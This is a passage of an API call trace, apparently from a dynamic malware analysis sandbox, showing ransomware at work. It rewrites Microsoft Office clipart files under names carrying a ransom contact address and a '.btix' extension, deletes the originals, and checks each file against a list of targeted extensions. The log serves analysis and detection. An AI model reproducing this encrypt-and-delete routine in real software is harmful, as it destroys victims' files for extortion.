returned -1 [0060.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0060.159] lstrlenW (lpString=".jpg") returned 4 [0060.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.170] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.170] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0060.179] GetLastError () returned 0x0 [0060.179] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xed4, lpOverlapped=0x0) returned 1 [0060.278] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xee0, lpOverlapped=0x0) returned 1 [0060.279] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0060.279] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0060.280] SetEndOfFile (hFile=0x364) returned 1 [0060.280] CloseHandle (hObject=0x364) returned 1 [0060.280] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.280] SetEndOfFile (hFile=0x2e0) returned 1 [0060.281] CloseHandle (hObject=0x2e0) returned 1 [0060.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0060.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0060.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0060.282] lstrlenW (lpString=".doc") returned 4 [0060.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.282] lstrlenW (lpString=".docx") returned 5 [0060.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.282] lstrlenW (lpString=".pdf") returned 4 [0060.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.282] lstrlenW (lpString=".xls") returned 4 [0060.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.282] lstrlenW (lpString=".xlsx") returned 5 [0060.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.282] lstrlenW (lpString=".ppt") returned 4 [0060.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0060.282] lstrlenW (lpString=".zip") returned 4 [0060.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.282] lstrlenW (lpString=".rar") returned 4 [0060.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.282] lstrlenW (lpString=".bz2") returned 4 [0060.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.283] lstrlenW (lpString=".7z") returned 3 [0060.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0060.283] lstrlenW (lpString=".dbf") returned 4 [0060.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0060.283] lstrlenW (lpString=".1cd") returned 4 [0060.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0060.283] lstrlenW (lpString=".jpg") returned 4 [0060.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.288] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.288] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0060.288] GetLastError () returned 0x0 [0060.288] ReadFile (in: hFile=0x348, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x292a, lpOverlapped=0x0) returned 1 [0060.573] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x2930, lpOverlapped=0x0) returned 1 [0060.593] ReadFile (in: hFile=0x348, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0060.593] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0060.593] SetEndOfFile (hFile=0x354) returned 1 [0060.593] CloseHandle (hObject=0x354) returned 1 [0060.595] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.595] SetEndOfFile (hFile=0x348) returned 1 [0060.601] CloseHandle (hObject=0x348) returned 1 [0060.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0060.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0060.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0060.604] lstrlenW (lpString=".doc") returned 4 [0060.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.604] lstrlenW (lpString=".docx") returned 5 [0060.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.604] lstrlenW (lpString=".pdf") returned 4 [0060.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.604] lstrlenW (lpString=".xls") returned 4 [0060.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.604] lstrlenW (lpString=".xlsx") returned 5 [0060.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.604] lstrlenW (lpString=".ppt") returned 4 [0060.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0060.604] lstrlenW (lpString=".zip") returned 4 [0060.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.604] lstrlenW (lpString=".rar") returned 4 [0060.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.604] lstrlenW (lpString=".bz2") returned 4 [0060.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.604] lstrlenW (lpString=".7z") returned 3 [0060.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0060.605] lstrlenW (lpString=".dbf") returned 4 [0060.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0060.605] lstrlenW (lpString=".1cd") returned 4 [0060.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0060.605] lstrlenW (lpString=".jpg") returned 4 [0060.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.123] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0064.123] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0064.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.631] GetLastError () returned 0x0 [0064.631] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x108c, lpOverlapped=0x0) returned 1 [0065.797] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1090, lpOverlapped=0x0) returned 1 [0066.170] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0066.170] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0066.170] SetEndOfFile (hFile=0x354) returned 1 [0066.170] CloseHandle (hObject=0x354) returned 1 [0066.170] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0066.170] SetEndOfFile (hFile=0x398) returned 1 [0066.171] CloseHandle (hObject=0x398) returned 1 [0066.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0066.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0066.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0066.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0066.171] lstrlenW (lpString=".doc") returned 4 [0066.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.171] lstrlenW (lpString=".docx") returned 5 [0066.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.171] lstrlenW (lpString=".pdf") returned 4 [0066.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.171] lstrlenW (lpString=".xls") returned 4 [0066.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.171] lstrlenW (lpString=".xlsx") returned 5 [0066.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.171] lstrlenW (lpString=".ppt") returned 4 [0066.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0066.172] lstrlenW (lpString=".zip") returned 4 [0066.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.172] lstrlenW (lpString=".rar") returned 4 [0066.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.172] lstrlenW (lpString=".bz2") returned 4 [0066.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.172] lstrlenW (lpString=".7z") returned 3 [0066.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0066.172] lstrlenW (lpString=".dbf") returned 4 [0066.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0066.172] lstrlenW (lpString=".1cd") returned 4 [0066.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0066.172] lstrlenW (lpString=".jpg") returned 4 [0066.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.172] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0066.172] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0066.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0066.173] GetLastError () returned 0x0 [0066.173] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xb96, lpOverlapped=0x0) returned 1 [0067.041] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xba0, lpOverlapped=0x0) returned 1 [0067.437] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0067.437] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe2, lpOverlapped=0x0) returned 1 [0067.437] SetEndOfFile (hFile=0x354) returned 1 [0067.437] CloseHandle (hObject=0x354) returned 1 [0067.437] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0067.437] SetEndOfFile (hFile=0x398) returned 1 [0067.438] CloseHandle (hObject=0x398) returned 1 [0067.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0067.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0067.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0067.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0067.439] lstrlenW (lpString=".doc") returned 4 [0067.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.439] lstrlenW (lpString=".docx") returned 5 [0067.439] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0067.439] lstrlenW (lpString=".pdf") returned 4 [0067.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.439] lstrlenW (lpString=".xls") returned 4 [0067.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.439] lstrlenW (lpString=".xlsx") returned 5 [0067.439] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0067.439] lstrlenW (lpString=".ppt") returned 4 [0067.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0067.439] lstrlenW (lpString=".zip") returned 4 [0067.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.439] lstrlenW (lpString=".rar") returned 4 [0067.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.439] lstrlenW (lpString=".bz2") returned 4 [0067.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.440] lstrlenW (lpString=".7z") returned 3 [0067.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0067.440] lstrlenW (lpString=".dbf") returned 4 [0067.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0067.440] lstrlenW (lpString=".1cd") returned 4 [0067.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0067.440] lstrlenW (lpString=".jpg") returned 4 [0067.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.440] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0067.440] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0067.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.440] GetLastError () returned 0x0 [0067.440] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x7992, lpOverlapped=0x0) returned 1 [0068.240] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x79a0, lpOverlapped=0x0) returned 1 [0068.679] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0068.679] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0068.679] SetEndOfFile (hFile=0x354) returned 1 [0068.736] CloseHandle (hObject=0x354) returned 1 [0068.736] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.736] SetEndOfFile (hFile=0x398) returned 1 [0068.737] CloseHandle (hObject=0x398) returned 1 [0068.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0068.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0068.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0068.738] lstrlenW (lpString=".doc") returned 4 [0068.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString=".docx") returned 5 [0068.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.738] lstrlenW (lpString=".pdf") returned 4 [0068.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString=".xls") returned 4 [0068.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.738] lstrlenW (lpString=".xlsx") returned 5 [0068.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.738] lstrlenW (lpString=".ppt") returned 4 [0068.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0068.738] lstrlenW (lpString=".zip") returned 4 [0068.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.738] lstrlenW (lpString=".rar") returned 4 [0068.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString=".bz2") returned 4 [0068.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString=".7z") returned 3 [0068.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0068.738] lstrlenW (lpString=".dbf") returned 4 [0068.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0068.738] lstrlenW (lpString=".1cd") returned 4 [0068.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0068.738] lstrlenW (lpString=".jpg") returned 4 [0068.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.739] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.739] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0068.739] GetLastError () returned 0x0 [0068.739] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xb10, lpOverlapped=0x0) returned 1 [0068.822] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xb20, lpOverlapped=0x0) returned 1 [0068.823] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0068.823] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0068.823] SetEndOfFile (hFile=0x354) returned 1 [0068.823] CloseHandle (hObject=0x354) returned 1 [0068.823] SetFilePointerEx (in: 